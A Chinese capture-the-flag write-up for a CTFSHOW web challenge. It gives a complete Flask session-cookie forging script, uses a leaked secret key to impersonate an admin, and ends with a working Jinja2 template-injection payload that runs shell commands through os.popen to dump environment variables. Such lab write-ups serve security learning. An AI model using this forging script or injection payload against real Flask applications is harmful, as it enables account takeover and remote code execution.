CTFSHOW内部赛 Web2 -蓝瘦

admin 2022年1月5日23:11:47评论324 views字数 5057阅读16分51秒阅读模式

>

>

CTFSHOW内部赛 Web2 -蓝瘦

Jazz

WriteUp For web2-蓝瘦

开局一个登录框

简单测试,得出结论
admin时返回密码错误 浏览器无Cookies
当输入任意值时 返回 admin 且浏览器得到session
大胆猜测:存在用户admin

正文部分:

考点

1) Flask框架登录的session伪造绕过
2) SSTI注入

参考文章:https://www.jianshu.com/p/f92311564ad0

python脚本

""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e


if __name__ == "__main__":
    # Args are only relevant for __main__ usage
    
    ## Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                help='Session cookie value', required=True)

    ## get args
    args = parser.parse_args()

    ## find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))

使用非admin账号登录后查看cookies

再回到登录页面F12查看元素,有hint

			<div>
				<h4 class="b">登录成功就能拿到flag dog.png</h4>
				<!-- param: ctfshow -->
				<!-- key: ican -->
			</div>
			<form action="/login" method="post">
				<div class="c">
					<div class="d">

运行以上脚本
脚本具体用法
解密:python flask_session_manager.py decode -c -s # -c是flask cookie里的session值 -s参数是SECRET_KEY
加密:python flask_session_manager.py encode -s -t # -s参数是SECRET_KEY -t参数是session的参照格式,也就是session解密后的格式

bogon:web2 hu$ python3 1.py decode -c eyJ1c2VybmFtZSI6IjEyMyJ9.XoCNFg.PJjUXxxGpAPyA4V7maTaIt8-fEI -s ican
{'username': '123'}

得到解密后的字符串
然后再伪造admin的session

bogon:web2 hu$ python3 1.py encode -s ican -t "{'username': 'admin'}"

eyJ1c2VybmFtZSI6ImFkbWluIn0.XoCOqQ.65tcbEKdjkkahB3o3ZwXDSTlVsY

将伪造后的session放入原Cookies中
刷新页面
替换session值后显示缺少请求参数

这时候就用的到之前看到的除key外的另一个hint了
构造url参数
https://f3ada299-309f-47ee-a911-10be2505f0be.chall.ctf.show/?ctfshow={{2*2}}
返回4则基本判断存在注入

直接给最终payload

https://f3ada299-309f-47ee-a911-10be2505f0be.chall.ctf.show/?ctfshow={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('env').read()") }}{% endif %}{% endfor %}

内存flag没怎么搞懂什么意思
但是只能是从环境变量里出
所以一开始我试了 cat /etc/profie cat /.bashrc 都没能出flag
百般百度查询,总算查到了直接用env调出全部环境变量


  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月5日23:11:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CTFSHOW内部赛 Web2 -蓝瘦https://cn-sec.com/archives/720059.html

发表评论

匿名网友 填写信息